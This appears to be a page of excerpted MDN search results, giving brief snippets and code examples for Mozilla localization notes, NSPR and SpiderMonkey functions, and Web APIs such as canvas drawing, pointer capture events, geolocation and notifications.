...there are a number of automated tools that parse these comments for easier access and use by localizers.
... dtd files <!-- localization note (entity name): comment --> properties files # localization note (key): comment file-wide comments should use the same format, be at the top of the file (after the license header, though) and just drop the (entity name/key) reference.
Localization at Mozilla
localization (l10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture.
... these resources are for anyone with an interest in the technical aspects involved in localization.
...l10n documentation has moved to https://mozilla-l10n.github.io/localizer-documentation/ .
... to learn how to bootstrap a new locale for mozilla projects, please see those documents ...
PRCallOnceType
syntax #include <prinit.h> typedef struct prcalloncetype { printn initialized; print32 inprogress; prstatus status; } prcalloncetype; fields the structure has these fields: initialized if not zero, the initialization process has been completed.
...calling threads that observe this status block until inprogress is zero.
... status an indication of the outcome of the initialization process.
... description the client is responsible for initializing the prcalloncetype structure to all zeros.
PRMcastRequest
structure used to specify values for the pr_sockopt_addmember and pr_sockopt_dropmember socket options that define a request to join or leave a multicast group.
... syntax #include <prio.h> struct prmcastrequest { prnetaddr mcaddr; prnetaddr ifaddr; }; typedef struct prmcastrequest prmcastrequest; fields the structure has the following fields: mcaddr ip multicast address of group.
... ifaddr local ip address of interface.
... description the mcaddr and ifaddr fields are of the type prnetaddr, but their port fields are ignored.
PR_CallOnce
syntax prstatus pr_callonce( prcalloncetype *once, prcalloncefn func); parameters pr_callonce has these parameters: once a pointer to an object of type prcalloncetype.
... func a pointer to the function the calling client has designed to perform the subsystem initialization.
... the function will be called once, at most, for each subsystem to be initialized.
... it should return a prstatus indicating the result of the initialization process.
PR GetCanonNameFromAddrInfo
extracts the canonical name of the hostname passed to pr_getaddrinfobyname.
... syntax #include <prnetdb.h> const char *pr_getcanonnamefromaddrinfo(const praddrinfo *addrinfo); parameters the function has the following parameters: addrinfo a pointer to a praddrinfo structure returned by a successful call to pr_getaddrinfobyname.
... returns the function returns a const pointer to the canonical hostname stored in the given praddrinfo structure.
... this pointer is invalidated once the praddrinfo structure is destroyed by a call to pr_freeaddrinfo.
PR_LocalTimeParameters
returns the time zone offset information that maps the specified prexplodedtime to local time.
... syntax #include <prtime.h> prtimeparameters pr_localtimeparameters ( const prexplodedtime *gmt); parameter gmt a pointer to the clock/calendar time whose offsets are to be determined.
... description this is a frequently-used time parameter callback function.
... you don't normally call it directly; instead, you pass it as a parameter to pr_explodetime() or pr_normalizetime().
FC_CancelFunction
name fc_cancelfunction - cancel a function running in parallel syntax ck_rv fc_cancelfunction( ck_session_handle hsession ); parameters hsession [in] session handle.
...fc_cancelfunction is a legacy function that simply returns ckr_function_not_parallel.
... return value fc_cancelfunction always returns ckr_function_not_parallel.
... examples see also nsc_cancelfunction ...
JS::IsCallable
this article covers features introduced in spidermonkey 38 return whether the given function object is callable/a valid constructor.
... syntax bool js::iscallable(jsobject *obj); bool js::isconstructor(jsobject *obj); name type description obj jsobject * pointer to the function.
... description js::iscallable returns whether the given function object is callable.
... see also mxr id search for js::iscallable mxr id search for js::isconstructor js_isconstructor js_isnativefunction bug 1065811 ...
JS_FlushCaches
this article covers features introduced in spidermonkey 1.8.5 flushes the code cache for the current thread.
... the operation might be delayed if the cache cannot be flushed currently because native code is currently executing.
... syntax void js_flushcaches(jscontext *cx); name type description cx jscontext * the context.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
nsLocalFile
« xpcom api reference summary a component implementing nsilocalfile.
... class id 2e23e220-60be-11d3-8c4a-000064657374 contractid @mozilla.org/file/local;1 supported interfaces nsilocalfile, nsifile remarks this component should be accessed via the xpcom component manager.
... example code function getfilesize(path) { var file = components.classes["@mozilla.org/file/local;1"].
... createinstance(components.interfaces.nsilocalfile); file.initwithpath(path); return file.filesize; } see also components, nsicomponentmanager ...
nsIMemoryMultiReporterCallback
xpcom/base/nsimemoryreporter.idlscriptable implement this interface to handle callbacks from nsimemorymultireporter instances.
... 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void callback(in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure); methods callback() called to provide information from a multi-reporter.
...void callback( in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure ); parameters process the value of the process attribute for the memory reporter.
... closure an nsisupports object providing any additional data the callback might need; you provide this when you call nsimemorymultireporter.collectreports().
Application - Firefox Developer Tools
the application panel provides tools for inspecting and debugging modern web apps (also known as progressive web apps).
... accessing the application panel the application panel is available on the standard devtools tab menu under application, in firefox 79+.
... if you can’t see it there, you can enable it by going to the "three dot" menu and selecting settings (also accessible by pressing f1), then checking the application checkbox under default developer tools.
... finding an example if you want to test this functionality and you don't have a handy pwa available, you can grab one of our simple examples to use: add to homescreen demo: shows pictures of foxes (source code | live version) js13kpwa demo: show information on entries to the js13k annual competition (source code | live version) how to debug service workers inspect web app manifests ...
BasicCardRequest.supportedTypes - Web APIs
the obsolete supportedtypes property of the basiccardrequest dictionary can optionally be provided to specify an array of domstrings representing the card types that the retailer supports (e.g.
... syntax basiccardrequest.supportedtypes = [cardtype1...cardtypen]; value an array containing one or more domstrings, which describe the card types the retailer supports.
... legal values are defined in basiccardtype enum, and are currently: credit debit prepaid example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ...
BroadcastChannel() - Web APIs
the broadcastchannel() constructor creates a new broadcastchannel and connects it to the underlying channel.
... syntax channel = new broadcastchannel(channel); values channel is a domstring representing the name of the channel; there is one single channel with this name for all browsing contexts with the same origin.
... example // create a new channel listening to the "internal_notification" channel.
... var bc = new broadcastchannel('internal_notification'); bc.postmessage('new listening connected!'); specifications specification status comment html living standardthe definition of 'broadcastchannel()' in that specification.
CSS.escape() - Web APIs
WebAPICSSescape
the css.escape() static method returns a cssomstring containing the escaped string passed as parameter, mostly for use as part of a css selector.
... syntax escapedstr = css.escape(str); parameters str the cssomstring to be escaped.
... examples basic results css.escape(".foo#bar") // "\.foo\#bar" css.escape("()[]{}") // "\(\)\[\]\{\}" css.escape('--a') // "--a" css.escape(0) // "\30 ", the unicode code point of '0' is 30 css.escape('\0') // "\ufffd", the unicode replacement character in context uses to escape a string for use as part of a selector, the escape() method can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it escapes characters that don't strictly need to be escaped: var element = document.queryselector('a[href="#' + css.escape(fragment) + '"]'); specification specification status comment css object model (cssom)the defi...
...nition of 'css.escape()' in that specification.
CanvasGradient.addColorStop() - Web APIs
the canvasgradient.addcolorstop() method adds a new color stop, defined by an offset and a color, to a given canvas gradient.
...a syntax_err is raised if the value cannot be parsed as a css <color> value.
... examples adding stops to a gradient this example uses the addcolorstop method to add stops to a linear canvasgradient object.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let gradient = ctx.createlineargradient(0, 0, 200, 0); gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.7, 'white'); gradient.addcolorstop(1, 'pink'); ctx.fillstyle = gradient; ctx.fillrect(10, 10, 200, 100); result specifications specification status comment html living standardthe definition of 'canvasgradient.addcolorstop' in that specification.
CanvasPattern - Web APIs
the canvaspattern interface represents an opaque object describing a pattern, based on an image, a canvas, or a video, created by the canvasrenderingcontext2d.createpattern() method.
... it can be used as a fillstyle or strokestyle.
... canvaspattern.settransform() applies an svgmatrix or dommatrix representing a linear transform to the pattern.
... specifications specification status comment html living standardthe definition of 'canvaspattern' in that specification.
CanvasRenderingContext2D.fill() - Web APIs
the canvasrenderingcontext2d.fill() method of the canvas 2d api fills the current or given path with the current fillstyle.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); result specifying a path and a fillrule this example saves some intersecting lines to a path2d object.
... the fill() method is then used to render the object to the canvas.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fill' in that specification.
CanvasRenderingContext2D.getLineDash() - Web APIs
the getlinedash() method of the canvas 2d api's canvasrenderingcontext2d interface gets the current line dash pattern.
...if the number, when setting the elements, is odd, the elements of the array get copied and concatenated.
... html <canvas id="canvas"></canvas> javascript as set by setlinedash(), strokes consist of lines that are 10 units wide, with spaces of 20 units in between each line.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([10, 20]); console.log(ctx.getlinedash()); // [10, 20] // draw a dashed line ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.getlinedash' in that specification.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
the canvasrenderingcontext2d.globalcompositeoperation property of the canvas 2d api sets the type of compositing operation to apply when drawing new shapes.
... see also compositing and clipping in the canvas tutorial.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalcompositeoperation = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification.
... living standard compositing and blending level 1 candidate recommendation ...
CanvasRenderingContext2D.isPointInPath() - Web APIs
the canvasrenderingcontext2d.ispointinpath() method of the canvas 2d api reports whether or not the specified point is contained in the current path.
... html <canvas id="canvas"></canvas> <p>in path: <code id="result">false</code></p> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this ex...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circle const circle = new path2d(); circle.arc(150, 75, 50, 0, 2 * math.pi); ctx.fillstyle = 'red'; ctx.fill(circle); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status ...
... comment html living standardthe definition of 'canvasrenderingcontext2d.ispointinpath' in that specification.
CanvasRenderingContext2D.lineDashOffset - Web APIs
the canvasrenderingcontext2d.linedashoffset property of the canvas 2d api sets the line dash offset, or "phase." note: lines are drawn by calling the stroke() method.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.setlinedash([4, 16]); // dashed line with no offset ctx.beginpath(); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // dashed line with offset of 4 ctx.beginpath(); ctx.strokestyle = 'red'; ctx.linedashoffset = 4; ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result the line with a dash offset is drawn in red.
... html <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2...
...d.linedashoffset' in that specification.
CanvasRenderingContext2D.lineWidth - Web APIs
the canvasrenderingcontext2d.linewidth property of the canvas 2d api sets the thickness of lines.
... note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 15; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); result more examples for more examples and explanation about this property, see applying styles and color in the canvas tutorial.
... specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linewidth' in that specification.
CanvasRenderingContext2D.rect() - Web APIs
the canvasrenderingcontext2d.rect() method of the canvas 2d api adds a rectangle to the current path.
... to draw the rectangle onto a canvas, you can use the fill() or stroke() methods.
... html <canvas id="canvas"></canvas> javascript the rectangle's corner is located at (10, 20).
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 20, 150, 100); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.rect' in that specification.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
the canvasrenderingcontext2d.scrollpathintoview() method of the canvas 2d api scrolls the current or given path into view.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.fillrect(10, 10, 30, 30); ctx.scrollpathintoview(); edit the code below to see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"> <input id="button" type="range" min="1" max="12"> </canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" typ...
...e="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginpath(); ctx.rect(10, 10, 30, 30); ctx.scrollpathintoview();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications specific...
...ation status comment html living standardthe definition of 'canvasrenderingcontext2d.scrollpathintoview' in that specification.
CanvasRenderingContext2D.shadowColor - Web APIs
the canvasrenderingcontext2d.shadowcolor property of the canvas 2d api specifies the color of shadows.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 10; ctx.shadowoffsety = 10; // filled rectangle ctx.fillrect(20, 20, 100, 100); // stroked rectangle ctx.linewidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opaci...
... html <canvas id="canvas"></canvas> javascript the resulting alpha value of the fill shadow is .8 * .2, or .16.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'rgba(255, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(10, 10, 150, 100); // stroked rectangle ctx.linewidth = 10; ctx.strokestyle = 'rgba(0, 0, 255, .6)'; ctx.strokerect(10, 10, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowcolor' in that specification.
DedicatedWorkerGlobalScope.name - Web APIs
the name read-only property of the dedicatedworkerglobalscope interface returns the name that the worker was (optionally) given when it was created.
... this is the name that the worker() constructor can pass to get a reference to the dedicatedworkerglobalscope.
... example if a worker is created using a constructor with a name option: var myworker = new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker.
... specifications specification status comment html living standardthe definition of 'name' in that specification.
Document: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... bubbles no cancelable no interface pointerevent event handler property ongotpointercapture examples this example gets a <p> element and listens for the gotpointercapture event.
... it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
... const para = document.queryselector('p'); document.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); document.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
Document: lostpointercapture event - Web APIs
the lostpointercapture event is fired when a captured pointer is released.
... bubbles no cancelable no interface pointerevent event handler property onlostpointercapture examples this example listens for the lostpointercapture event, and captures the pointer for an element on pointerdown.
... when the user subsequently releases the pointer, the lostpointercapture event will be fired.
... const para = document.queryselector('p'); document.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); document.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
GeolocationCoordinates.altitude - Web APIs
the geolocationcoordinates.altitude read-only property is a double representing the altitude of the position in meters, relative to sea level.
... this value is null if the implementation cannot provide this data.
... syntax let alt = geolocationcoordinatesinstance.altitude value a double representing the altitude of the position in meters, relative to sea level.
... specifications specification status comment geolocation apithe definition of 'coordinates.altitude' in that specification.
GeolocationCoordinates.altitudeAccuracy - Web APIs
the geolocationcoordinates.altitudeaccuracy read-only property is a strictly positive double representing the accuracy, with a 95% confidence level, of the altitude expressed in meters.
... syntax let altacc = geolocationcoordinatesinstance.altitudeaccuracy value a positive double representing the accuracy, with a 95% confidence level, of the altitude expressed in meters.
... specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.altitudeaccuracy' in that specification.
... recommendation initial specification.
GeolocationCoordinates.latitude - Web APIs
the geolocationcoordinates.latitude read-only property is a double representing the latitude of the position in decimal degrees.
... syntax let lat = geolocationcoordinatesinstance.latitude value a double representing the latitude of the position in decimal degrees.
... specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.latitude' in that specification.
... recommendation initial specification.
GeolocationCoordinates.speed - Web APIs
the geolocationcoordinates.speed read-only property is a double representing the velocity of the device in meters per second.
... syntax let speed = geolocationcoordinatesinstance.speed value a double representing the velocity of the device in meters per second.
... specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.speed' in that specification.
... recommendation initial specification.
GlobalEventHandlers.oncanplay - Web APIs
the oncanplay property of the globaleventhandlers mixin is the eventhandler for processing canplay events.
... the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... syntax element.oncanplay = handlerfunction; var handlerfunction = element.oncanplay; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'oncanplay' in that specification.
GlobalEventHandlers.oncanplaythrough - Web APIs
the oncanplaythrough property of the globaleventhandlers mixin is the eventhandler for processing canplaythrough events.
... the canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... syntax element.oncanplaythrough = handlerfunction; var handlerfunction = element.oncanplaythrough; handlerfunction is either null or a javascript function specifying the handler for the event.
... specification specification status comment html living standardthe definition of 'oncanplaythrough' in that specification.
HTMLCanvasElement.transferControlToOffscreen() - Web APIs
the htmlcanvaselement.transfercontroltooffscreen() method transfers control to an offscreencanvas object, either on the main thread or on a worker.
... syntax offscreencanvas htmlcanvaselement.transfercontroltooffscreen() return value an offscreencanvas object.
... examples var htmlcanvas = document.createelement('canvas'); var offscreen = htmlcanvas.transfercontroltooffscreen(); var gl = offscreen.getcontext('webgl'); // ...
... // push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'htmlcanvaselement.transfercontroltooffscreen()' in that specification.
HTMLElement: gotpointercapture event - Web APIs
the gotpointercapture event is fired when an element captures a pointer using setpointercapture().
... bubbles yes cancelable no interface pointerevent event handler property ongotpointercapture examples this example gets a <p> element and listens for the gotpointercapture event.
... it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
... const para = document.queryselector('p'); para.addeventlistener('gotpointercapture', () => { console.log('i\'ve been captured!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, using the ongotpointercapture event handler property: const para = document.queryselector('p'); para.ongotpointercapture = () => { console.log('i\'ve been captured!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLElement: lostpointercapture event - Web APIs
the lostpointercapture event is fired when a captured pointer is released.
... bubbles yes cancelable no interface pointerevent event handler property onlostpointercapture examples this example listens for the lostpointercapture event for an element, and captures the pointer for the element on pointerdown.
... when the user subsequently releases the pointer, the lostpointercapture event will be fired.
... const para = document.queryselector('p'); para.addeventlistener('lostpointercapture', () => { console.log('i\'ve been released!') }); para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); the same example, but using the onlostpointercapture event handler property: const para = document.queryselector('p'); para.onlostpointercapture = () => { console.log('i\'ve been released!') }; para.addeventlistener('pointerdown', (event) => { para.setpointercapture(event.pointerid); }); specifications specification status pointer events obsolete ...
HTMLMediaElement: canplay event - Web APIs
the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.oncanplay specification html5 media examples these examples add an event listener for the htmlmediaelement's canplay event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplay', (event) => { console.log('video can start, but not sure it will play through.'); }); using the oncanplay event handler property: const video = document.queryselector('video'); video.oncanplay = (event) => { console.log('video can start, but not sure it will play through.'); }; specifications specification status html living standardthe definition of 'canplay media event' in that specification.
... living standard html5the definition of 'canplay media event' in that specification.
HTMLMediaElement: canplaythrough event - Web APIs
the canplaythrough event is fired when the user agent can play the media, and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.oncanplaythrough specification html5 media examples these examples add an event listener for the htmlmediaelement's canplaythrough event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('canplaythrough', (event) => { console.log('i think i can play through the entire ' + ' video without ever having to stop to buffer.'); }); using the oncanplaythrough event handler property: const video = document.queryselector('video'); video.oncanplaythrough = (event) => { console.log('i think i can play thru the entire ' + ' video without ever having to stop to buffer.'); }; specifications specification status html living standardthe definition of 'canplaythrough media event' in that specification.
... living standard html5the definition of 'canplaythrough media event' in that specification.
HTMLTableElement.deleteCaption() - Web APIs
the htmltableelement.deletecaption() method removes the <caption> element from a given <table>.
... if there is no <caption> element associated with the table, this method does nothing.
... syntax htmltableelement.deletecaption() example this example uses javascript to delete a table's caption.
... html <table> <caption>this caption will be deleted!</caption> <tr><td>cell 1.1</td><td>cell 1.2</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td></tr> </table> javascript let table = document.queryselector('table'); table.deletecaption(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletecaption' in that specification.
IDBIndex.isAutoLocale - Web APIs
the isautolocale read-only property of the idbindex interface returns a boolean indicating whether the index had a locale value of auto specified upon its creation (see createindex()'s optionalparameters.) syntax var myindex = objectstore.index('index'); console.log(myindex.isautolocale); value a boolean.
... the isautolocale value is logged to the console.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.isautolocale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>'...
... + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications not currently part of any specification.
Location: ancestorOrigins - Web APIs
the ancestororigins read-only property of the location interface is a static domstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object.
... you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being framed by a site which you don’t expect it to be framed by.
... you can also use it to vary the behavior of the document based on what site or list of sites is framing it.
... syntax const ancestors = location.ancestororigins; specifications specification status comment html living standardthe definition of 'ancestororigins ' in that specification.
Location: reload() - Web APIs
WebAPILocationreload
the location.reload() method reloads the current url, like the refresh button.
...this happens if the origin of the script calling location.reload() differs from the origin of the page that owns the location object.
... syntax location.reload(); specifications specification status comment html living standardthe definition of 'location.reload()' in that specification.
... html5the definition of 'location.reload()' in that specification.
MSCandidateWindowUpdate - Web APIs
mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to change size, but before any visual updates have rendered.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
... tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying new / changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).
Navigator.geolocation - Web APIs
the navigator.geolocation read-only property returns a geolocation object that gives web content access to the location of the device.
... this allows a web site or app to offer customized results based on the user's location.
... note: for security reasons, when a web page tries to access location information, the user is notified and asked to grant permission.
... syntax geo = navigator.geolocation specifications specification status comment geolocation apithe definition of 'navigator.geolocation' in that specification.
Navigator.mediaCapabilities - Web APIs
the navigator.mediacapabilities read-only property returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities as defined by the media capabilities api.
... syntax mediacapabilitiesobj = globalobj.navigator.mediacapabilities value a mediacapabilities object.
... examples navigator.mediacapabilities.decodinginfo({ type : 'file', audio : { contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilities draft initial definition ...
Notification.dir - Web APIs
WebAPINotificationdir
the dir read-only property of the notification interface indicates the text direction of the notification, as specified in the dir option of the notification() constructor.
... syntax var direction = notification.dir; value a domstring specifying the text direction.
... examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
... var options = { body: 'do you like my body?', dir: 'rtl' } var n = new notification('test notification',options); console.log(n.dir) // should return 'rtl' specifications specification status comment notifications apithe definition of 'dir' in that specification.
Notification.icon - Web APIs
WebAPINotificationicon
the icon read-only property of the notification interface contains the url of an icon to be displayed as part of the notification, as specified in the icon option of the notification() constructor.
... syntax var icon = notification.icon; value a usvstring.
... examples in our to-do list app (view the app running live), we use the notification() constructor to fire a notification, passing it arguments to specify the body, icon and title we want.
... var notification = new notification('to do list', { body: text, icon: img }); specifications specification status comment notifications apithe definition of 'icon' in that specification.
Notification.lang - Web APIs
WebAPINotificationlang
the lang read-only property of the notification interface indicates the language used in the notification, as specified in the lang option of the notification() constructor.
... syntax var language = notification.lang; value a domstring specifying the language tag.
... examples the following snippet fires a notification; a simple options object is created, then the notification is fired using the notification() constructor.
... var options = { body: 'do you like my body?', lang: 'en-us' } var n = new notification('test notification',options); console.log(n.lang) // should return 'en-us' specifications specification status comment notifications apithe definition of 'lang' in that specification.
Notification.maxActions - Web APIs
the maxactions attribute of the notification interface returns the maximum number of actions supported by the device and the user agent.
... effectively, this is the maximum number of elements in notification.actions array which will be respected by the user agent.
... syntax notification.maxactions value an integer number which indicates the largest number of notification actions that can be presented to the user by the user agent and the device.
... const maxactions = notification.maxactions; console.log('this device can display at most ' + maxactions + ' actions on each notification.'); specifications specification status comment notifications api living standard living standard ...
Notification.onerror - Web APIs
the onerror property of the notification interface specifies an event listener to receive error events.
... these events occur when something goes wrong with a notification (in many cases an error preventing the notification from being displayed.) syntax notification.onerror = function() { ...
... }; specifications specification status comment notifications apithe definition of 'onerror' in that specification.
... living standard initial specification.
Notification.requireInteraction - Web APIs
the requireinteraction read-only property of the notification interface returns a boolean indicating that a notification should remain active until the user clicks or dismisses it, rather than closing automatically.
... note: this can be set when the notification is first created by setting the requireinteraction option to true in the options object of the notification.notification() constructor.
... syntax function spawnnotification(thetitle,thebody,shouldrequireinteraction) { var options = { body: thebody, requireinteraction: shouldrequireinteraction } var n = new notification(thetitle,options); } value a boolean.
... specifications specification status comment notifications apithe definition of 'requireinteraction' in that specification.
NotificationEvent.action - Web APIs
returns the string id of the notification button the user clicked.
... this value returns an empty string if the user clicked the notification somewhere other than an action button, or the notification does not have a button.
... the notification id is set during the creation of the notification via the actions array attribute and can't be modified unless the notification is replaced.
... example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'action' in that specification.
OffscreenCanvas.transferToImageBitmap() - Web APIs
